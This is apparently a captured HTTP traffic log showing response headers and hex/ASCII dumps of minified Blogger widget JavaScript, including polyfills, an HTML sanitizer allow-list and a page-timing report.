er-tech"}]}
Content-Length: 157960
Date: Mon, 22 Nov 2021 10:36:28 GMT
Expires: Tue, 22 Nov 2022 10:36:28 GMT
Last-Modified: Fri, 19 Nov 2021 02:03:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=31536000
Age: 284234
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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2021-11-25 17:33:42 UTC 155 IN Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 22 26 61 63 74 69 6f 6e 3d 22 2c 62 61 3d 22 2e 77 
69 6b 69 70 65 64 69 61 2e 6f 72 67 22 2c 63 61 3d 22 43 53 53 53 74 79 6c 65 44 65 63 6c 61 72 61 74 69 6f 6e 22 2c 64 
61 3d 22 43 6c 6f 62 62 65 72 69 6e 67 20 64 65 74 65 63 74 65 64 22 2c 65 61 3d 22 45 64 67 65 22 2c 66 61 3d 22 45 
6c 65 6d 65 6e 74 22 2c 68 61 3d 22 47 45 54 22 2c 69 61 3d 22 4e 65 76 65 72 20 61 74 74 61 63 68 65 64 20 74 6f 20 
44 4f 4d 2e 22 2c 6a 61 3d 22 4e 6f 64 65 22 2c 6b 61 3d 22 53 50 41 4e 22 2c 6c 61 3d 22 53 54 59 4c 45 22 2c 6d 61 3d 
22 53 57 5f 52 45 41 44 45 52 5f 4c 49 53 54 5f 22 2c 6e 61 3d 22 53 57 5f 52 45 41 44 45 52 5f 4c 49 53 54 5f 43 4c 4f 53 
45 44 5f 22 2c 6f 61 3d 22 53 68 61 72 65 20 74 68 69 73 20 
Data Ascii: (function(){var aa="&action=",ba=".wikipedia.org",ca="CSSStyleDeclaration",da="Clobbering detected
",ea="Edge",fa="Element",ha="GET",ia="Never attached to DOM.",ja="Node",ka="SPAN",la="STYLE",ma="SW_
READER_LIST_",na="SW_READER_LIST_CLOSED_",oa="Share this 

2021-11-25 17:33:42 UTC 155 IN Data Raw: 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 65 6d 61 69 6c 2d 6d 65 73 73 61 67 65 22 2c 0a 44 61 3d 22 
63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 22 2c 45 61 3d 22 63 6f 6e 74 61 63 74 2d 
66 6f 72 6d 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 2c 46 61 3d 22 63 6f 6e 74 
61 63 74 2d 66 6f 72 6d 2d 6e 61 6d 65 22 2c 47 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 62 6d 69 74 22 2c 
48 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 22 2c 49 61 3d 22 63 6f 
6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 
2c 4a 61 3d 22 64 61 74 61 2d 68 65 69 67 68 74 22 2c 4b 61 
Data Ascii: a="contact-form-email-message",Da="contact-form-error-message",Ea="contact-form-error-message-with-
border",Fa="contact-form-name",Ga="contact-form-submit",Ha="contact-form-success-message",Ia="contact-form-su
ccess-message-with-border",Ja="data-height",Ka

2021-11-25 17:33:42 UTC 157 IN Data Raw: 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 
74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 75 6e 63 74 69 6f 6e 
20 42 62 28 61 29 7b 61 3d 5b 71 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 
69 73 2c 61 2c 71 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 71 3d 3d 74 79 70 65 6f 66 20 
73 65 6c 66 26 26 73 65 6c 66 2c 71 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 
28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 
63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 
Data Ascii: ray.prototype||a==Object.prototype)return a;a[b]=c.value;return a};function Bb(a){a=[q==typeof globalThis&&g
lobalThis,a,q==typeof window&&window,q==typeof self&&self,q==typeof global&&global];for(var b=0;b<a.length;++b){var 
c=a[b];if(c&&c.Math==Math)retu

2021-11-25 17:33:42 UTC 158 IN Data Raw: 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 46 62 28 61 29 7b 76 61 
72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 
74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 72 65 74 75 72 6e 20 62 3f 62 2e 63 
61 6c 6c 28 61 29 3a 7b 6e 65 78 74 3a 7a 62 28 61 29 7d 7d 76 61 72 20 47 62 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 
2e 63 72 65 61 74 65 3d 3d 6d 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 
63 74 69 6f 6e 20 62 28 29 7b 7d 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 48 
62 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 
Data Ascii: rn this};return a}function Fb(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return 
b?b.call(a):{next:zb(a)}}var Gb=typeof Object.create==m?Object.create:function(a){function b(){}b.prototype=a;return new 
b},Hb;if(typeof Object.

2021-11-25 17:33:42 UTC 159 IN Data Raw: 65 77 20 63 3b 41 62 28 6b 2c 67 2c 7b 76 61 6c 75 65 3a 6e 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 6b 
29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 5b 6b 5d 3b 6e 26 26 28 4f 62 6a 65 63 74 5b 6b 5d 3d 66 75 6e 63 74 69 6f 6e 
28 75 29 7b 69 66 28 75 20 69 6e 73 74 61 6e 63 65 6f 66 20 63 29 72 65 74 75 72 6e 20 75 3b 4f 62 6a 65 63 74 2e 69 
73 45 78 74 65 6e 73 69 62 6c 65 28 75 29 26 26 65 28 75 29 3b 72 65 74 75 72 6e 20 6e 28 75 29 7d 29 7d 69 66 28 66 
75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 21 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 
72 79 7b 76 61 72 20 6b 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6e 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 
7d 29 2c 75 3d 6e 65 77 20 61 28 5b 5b 6b 2c 0a 32 5d 2c 5b 6e 
Data Ascii: ew c;Ab(k,g,{value:n})}}function f(k){var n=Object[k];n&&(Object[k]=function(u){if(u instanceof c)return u;O
bject.isExtensible(u)&&e(u);return n(u)})}if(function(){if(!a||!Object.seal)return!1;try{var k=Object.seal({}),n=Object.seal({}),u
=new a([[k,2],[n

2021-11-25 17:33:42 UTC 160 IN Data Raw: 7c 7c 6b 3d 3d 3d 77 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6e 2c 6c 69 73 74 3a 75 2c 69 6e 64 65 78 
3a 68 2c 5a 3a 77 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6e 2c 6c 69 73 74 3a 75 2c 69 6e 64 65 78 3a 2d 31 2c 0a 5a 3a 
76 6f 69 64 20 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 68 29 7b 74 68 69 73 2e 44 3d 7b 7d 3b 74 68 69 73 2e 43 3d 
62 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 3b 69 66 28 68 29 7b 68 3d 46 62 28 68 29 3b 66 6f 72 28 76 61 72 20 6b 3
b 21 28 6b 3d 68 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6b 3d 6b 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 
6b 5b 30 5d 2c 6b 5b 31 5d 29 7d 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 
61 21 3d 6d 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 
Data Ascii: ||k===w.key)return{id:n,list:u,index:h,Z:w}}return{id:n,list:u,index:-1,Z:void 0}}function e(h){this.D={};this.C=b();t
his.size=0;if(h){h=Fb(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||typeof a!=m||!a.prototy
pe.ent

2021-11-25 17:33:42 UTC 162 IN Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 5b 68 2e 6b 65 79 2c 68 2e 76 61 6c 75 65 5d 7d 29 7d 
3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 
69 73 2c 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 2e 6b 65 79 7d 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 
70 65 2e 76 61 6c 75 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 66 75 6e 63 
74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 2e 76 61 6c 75 65 7d 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 
72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 65 6e 74 72 69 
65 73 28 29 2c 75 3b 21 28 75 3d 6e 2e 6e 65 78 74 28 29 29 
Data Ascii: function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e
.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var n=thi
s.entries(),u;!(u=n.next())

2021-11-25 17:33:42 UTC 163 IN Data Raw: 73 2e 43 2e 76 61 6c 75 65 73 28 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 62 2e 70 72 6f 
74 6f 74 79 70 65 2e 76 61 6c 75 65 73 3b 62 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 
72 5d 3d 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 
63 68 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 43 2e 66 6f 72 45 61 
63 68 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 64 2c 66 2c 66 2c 65 29 7d 29 
7d 3b 72 65 74 75 72 6e 20 62 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 4f 62 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 
6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 
Data Ascii: s.C.values()};b.prototype.keys=b.prototype.values;b.prototype[Symbol.iterator]=b.prototype.values;b.prototyp
e.forEach=function(c,d){var e=this;this.C.forEach(function(f){return c.call(d,f,f,e)})};return b});function Ob(a,b){a instanceof S
tring&&(a+="");v
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2021-11-25 17:33:42 UTC 164 IN Data Raw: 7d 29 3b 0a 44 62 28 22 41 72 72 61 79 2e 66 72 6f 6d 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 
72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 63 3d 6e 75 6c 6c 21 3d 63 3f 63 3a 66 75 6e 63 74 
69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 7d 3b 76 61 72 20 65 3d 5b 5d 2c 66 3d 22 75 6e 64 65 66 69 6e 65 64 22 
21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 62 5b 53 79 6d 62 
6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 74 79 70 65 6f 66 20 66 3d 3d 6d 29 7b 62 3d 66 2e 63 61 6c 6c 28 62 29 
3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 21 28 66 3d 62 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 
28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 
Data Ascii: });Db("Array.from",function(a){return a?a:function(b,c,d){c=null!=c?c:function(h){return h};var e=[],f="unde
fined"!=typeof Symbol&&Symbol.iterator&&b[Symbol.iterator];if(typeof f==m){b=f.call(b);for(var g=0;!(f=b.next()).done;)e
.push(c.call(d,f.value,g++

2021-11-25 17:33:42 UTC 165 IN Data Raw: 77 69 6e 64 6f 77 5b 6e 5d 29 7d 65 26 26 28 64 2e 62 6c 6f 67 49 64 3d 65 29 3b 30 3c 67 2e 6c 65 6e 67 74 
68 26 26 28 64 2e 65 3d 67 2e 6a 6f 69 6e 28 22 2c 22 29 29 3b 65 3d 28 22 68 74 74 70 73 3a 22 3d 3d 64 6f 63 75 6d 65 
6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 22 68 74 74 70 73 3a 22 3a 22 68 74 74 70 3a 22 29 2b 22 2f 
2f 63 73 69 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 63 73 69 22 3b 77 69 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 72 65 
70 6f 72 74 28 77 69 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 6c 6f 61 64 2c 64 2c 62 7c 7c 65 29 7d 3b 77 69 6e 64 6f 
77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 
65 72 28 22 62 65 66 6f 72 65 75 6e 6c 6f 61 64 22 2c 
Data Ascii: window[n])}e&&(d.blogId=e);0<g.length&&(d.e=g.join(","));e=("https:"==document.location.protocol?"https:":"h
ttp:")+"//csi.gstatic.com/csi";window.jstiming.report(window.jstiming.load,d,b||e)};window.addEventListener?window.addEv
entListener("beforeunload",

2021-11-25 17:33:42 UTC 167 IN Data Raw: 70 75 73 68 2e 61 70 70 6c 79 28 64 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 61 2e 61 70 70 
6c 79 28 74 68 69 73 2c 64 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 62 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 
2e 22 29 3b 76 61 72 20 63 3d 78 3b 61 5b 30 5d 69 6e 20 63 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 
6f 66 20 63 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 63 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 61 5b 3
0 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 
2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 
70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 
Data Ascii: push.apply(d,arguments);return a.apply(this,d)}}function z(a,b){a=a.split(".");var c=x;a[0]in c||"undefined"
==typeof c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length||void 0===b?c[d]&&c[d]!==Ob
ject.prototype[d]?c=c[d]:c=

2021-11-25 17:33:42 UTC 168 IN Data Raw: 2e 43 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 22 29 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 63 28 61 2c 62 
29 7b 61 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 6e 75 6c 6c 3a 77 69 6e 
64 6f 77 5b 61 5d 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 61 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 7c 7c 21 61 2e 70 72 6f 74 6f 
74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 63 
3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 61 2e 70 72 6f 74 6f 
74 79 70 65 2c 62 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 63 2e 67 65 74 
2e 61 70 70 6c 79 28 64 29 7d 7d 0a 76 61 72 20 6e 63 3d 65 
Data Ascii: .C;throw Error("");};function mc(a,b){a="undefined"===typeof window?null:window[a];if(null===a||void 0===a||
!a.prototype.hasOwnProperty(b))return null;var c=Object.getOwnPropertyDescriptor(a.prototype,b);return function(d){return 
c.get.apply(d)}}var nc=e

2021-11-25 17:33:42 UTC 169 IN Data Raw: 75 6c 74 69 6c 69 6e 65 22 2c 22 61 72 69 61 2d 6d 75 6c 74 69 73 65 6c 65 63 74 61 62 6c 65 22 2c 22 61 72 
69 61 2d 6f 72 69 65 6e 74 61 74 69 6f 6e 22 2c 22 61 72 69 61 2d 70 6f 73 69 6e 73 65 74 22 2c 22 61 72 69 61 2d 70 72 
65 73 73 65 64 22 2c 22 61 72 69 61 2d 72 65 61 64 6f 6e 6c 79 22 2c 22 61 72 69 61 2d 72 65 6c 65 76 61 6e 74 22 2c 
22 61 72 69 61 2d 72 65 71 75 69 72 65 64 22 2c 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 22 61 72 69 61 2d 73 
65 74 73 69 7a 65 22 2c 22 61 72 69 61 2d 73 6f 72 74 22 2c 22 61 72 69 61 2d 76 61 6c 75 65 6d 61 78 22 2c 22 61 72 6
9 61 2d 76 61 6c 75 65 6d 69 6e 22 2c 22 61 72 69 61 2d 76 61 6c 75 65 6e 6f 77 22 2c 22 61 72 69 61 2d 76 61 6c 75 65 
74 65 78 74 22 2c 22 61 6c 74 22 2c 22 61 6c 69 67 6e 22 2c 22 61 
Data Ascii: ultiline","aria-multiselectable","aria-orientation","aria-posinset","aria-pressed","aria-readonly","aria-relevant","ar
ia-required","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext"
,"alt","align","a

2021-11-25 17:33:42 UTC 171 IN Data Raw: 22 48 32 22 2c 22 48 33 22 2c 22 48 34 22 2c 22 48 35 22 2c 22 48 36 22 2c 22 48 45 41 44 45 52 22 2c 22 46 
4f 4f 54 45 52 22 2c 22 41 44 44 52 45 53 53 22 2c 22 50 22 2c 22 48 52 22 2c 22 50 52 45 22 2c 22 42 4c 4f 43 4b 51 55 
4f 54 45 22 2c 22 4f 4c 22 2c 22 55 4c 22 2c 22 4c 48 22 2c 22 4c 49 22 2c 22 44 4c 22 2c 22 44 54 22 2c 22 44 44 22 2c 
22 46 49 47 55 52 45 22 2c 22 46 49 47 43 41 50 54 49 4f 4e 22 2c 22 4d 41 49 4e 22 2c 22 44 49 56 22 2c 22 45 4d 22 
2c 22 53 54 52 4f 4e 47 22 2c 22 53 4d 41 4c 4c 22 2c 22 53 22 2c 22 43 49 54 45 22 2c 22 51 22 2c 22 44 46 4e 22 2c 
22 41 42 42 52 22 2c 22 52 55 42 59 22 2c 22 52 42 22 2c 22 52 54 22 2c 22 52 54 43 22 2c 22 52 50 22 2c 22 44 41 54 4
1 22 2c 22 54 49 4d 45 22 2c 22 43 4f 44 45 22 2c 22 56 41 52 22 
Data Ascii: "H2","H3","H4","H5","H6","HEADER","FOOTER","ADDRESS","P","HR","PRE","BLOCKQUOTE","OL","U
L","LH","LI","DL","DT","DD","FIGURE","FIGCAPTION","MAIN","DIV","EM","STRONG","SMALL","S","CITE","Q","DFN","ABB
R","RUBY","RB","RT","RTC","RP","DATA","TIME","CODE","VAR"

2021-11-25 17:33:42 UTC 172 IN Data Raw: 65 74 75 72 6e 20 46 63 28 74 68 69 73 2c 61 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 63 28 61 29 7b 76 61 72 
20 62 3d 48 63 3b 62 2e 63 68 61 6e 67 65 73 3d 5b 5d 3b 61 3d 46 63 28 62 2c 61 29 3b 69 66 28 30 21 3d 3d 62 2e 63 
68 61 6e 67 65 73 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 22 29 3b 72 65 74 75 72 6e 20 61 7d 0a 
66 75 6e 63 74 69 6f 6e 20 46 63 28 61 2c 62 29 7b 62 3d 6b 63 28 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 2b 62 29 3b 
62 3d 28 6e 65 77 20 44 4f 4d 50 61 72 73 65 72 29 2e 70 61 72 73 65 46 72 6f 6d 53 74 72 69 6e 67 28 6c 63 28 62 29 
2c 22 74 65 78 74 2f 68 74 6d 6c 22 29 3b 66 6f 72 28 76 61 72 20 63 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 
6c 29 3b 71 63 28 62 2e 62 6f 64 79 29 2e 6c 65 6e 67 74 68 3b 
Data Ascii: eturn Fc(this,a)};function Gc(a){var b=Hc;b.changes=[];a=Fc(b,a);if(0!==b.changes.length)throw Error("");return 
a}function Fc(a,b){b=kc("<html><body>"+b);b=(new DOMParser).parseFromString(lc(b),"text/html");for(var c=b.createEle
ment(l);qc(b.body).length;

2021-11-25 17:33:42 UTC 173 IN Data Raw: 61 6b 20 61 7d 7d 7d 6b 3d 21 30 7d 69 66 28 6b 29 73 77 69 74 63 68 28 68 2e 61 61 29 7b 63 61 73 65 20 
31 3a 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 66 2c 0a 67 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 3d 76 
6f 69 64 20 30 3b 68 3d 76 6f 69 64 20 30 3d 3d 3d 68 3f 42 63 3a 68 3b 61 3a 7b 68 3d 76 6f 69 64 20 30 3d 3d 3d 68 3f 
42 63 3a 68 3b 66 6f 72 28 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 69 66 28 6e 3d 68 5b 6b 5d 2c 6e 2
0 69 6e 73 74 61 6e 63 65 6f 66 20 7a 63 26 26 6e 2e 46 61 28 67 29 29 7b 68 3d 6e 65 77 20 77 63 28 67 2c 64 63 29 3b 
62 72 65 61 6b 20 61 7d 68 3d 76 6f 69 64 20 30 7d 68 3d 79 63 28 68 7c 7c 78 63 29 3b 68 21 3d 3d 67 26 26 4b 63 28 
61 29 3b 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 66 2c 68 29 3b 
Data Ascii: ak a}}}k=!0}if(k)switch(h.aa){case 1:d.setAttribute(f,g);break;case 2:h=void 0;h=void 0===h?Bc:h;a:{h=void 0
===h?Bc:h;for(k=0;k<h.length;++k)if(n=h[k],n instanceof zc&&n.Fa(g)){h=new wc(g,dc);break a}h=void 0}h=yc(h||x
c);h!==g&&Kc(a);d.setAttribute(f,h);
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2021-11-25 17:33:42 UTC 174 IN Data Raw: 62 21 3d 3d 72 7c 7c 31 21 3d 62 2e 6c 65 6e 67 74 68 3f 2d 31 3a 61 2e 69 6e 64 65 78 4f 66 28 62 2c 30 29 
3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 63 20 69 6e 20 61 26 26 
61 5b 63 5d 3d 3d 3d 62 29 72 65 74 75 72 6e 20 63 3b 72 65 74 75 72 6e 2d 31 7d 2c 4f 63 3d 41 72 72 61 79 2e 70 72 
6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 41 72 72 61 79 2e 70 72 
6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 61 2c 62 2c 63 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 
62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 61 2e 6c 65 6e 67 74 68 2c 65 3d 74 79 70 65 6f 66 20 61 3d 3d 3d 72 3f 61 
2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 
Data Ascii: b!==r||1!=b.length?-1:a.indexOf(b,0);for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},Oc=Ar
ray.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=typeof a
===r?a.split(""):a,f=0;f<d;

2021-11-25 17:33:42 UTC 176 IN Data Raw: 72 67 75 6d 65 6e 74 73 5b 66 5d 5b 64 5d 29 3b 62 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 62 7d 
66 75 6e 63 74 69 6f 6e 20 58 63 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 55 63 2e 61 70 70 6c 79 28 5b 5d 2c 50 63 28 
61 2c 62 2c 76 6f 69 64 20 30 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 59 63 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 
20 64 20 69 6e 20 61 29 62 2e 63 61 6c 6c 28 63 2c 61 5b 64 5d 2c 64 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 63 28 6
1 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 61 5b 64 5d 
3b 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 24 63 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 
3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 64 3b 72 65 
Data Ascii: rguments[f][d]);b.push(e)}return b}function Xc(a,b){return Uc.apply([],Pc(a,b,void 0))};function Yc(a,b,c){for(var d 
in a)b.call(c,a[d],d,a)}function Zc(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $c(a){var b=[],c=0,d;for(d in a)b[c+
+]=d;re

2021-11-25 17:33:42 UTC 177 IN Data Raw: 72 3a 43 6f 6e 73 74 22 7d 66 75 6e 63 74 69 6f 6e 20 6c 64 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 69 
64 28 6a 64 2c 61 29 7d 76 61 72 20 6b 64 3d 7b 7d 2c 6a 64 3d 7b 7d 3b 76 61 72 20 6d 64 3d 7b 7d 3b 66 75 6e 63 74 
69 6f 6e 20 6e 64 28 61 2c 62 29 7b 74 68 69 73 2e 43 3d 62 3d 3d 3d 6d 64 3f 61 3a 22 22 3b 74 68 69 73 2e 6d 61 3d 
21 30 7d 6e 64 2e 70 72 6f 74 6f 74 79 70 65 2e 69 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 
73 2e 43 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 64 28 61 29 7b 72 65 74 75 72 6e 20 61 20 
69 6e 73 74 61 6e 63 65 6f 66 20 6e 64 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 6e 64 3f 61 2e 43 3a 22 74 
79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 53 63 72 69 70 74 22 
Data Ascii: r:Const"}function ld(a){return new id(jd,a)}var kd={},jd={};var md={};function nd(a,b){this.C=b===md?a:"";th
is.ma=!0}nd.prototype.ia=function(){return this.C.toString()};function od(a){return a instanceof nd&&a.constructor===nd?
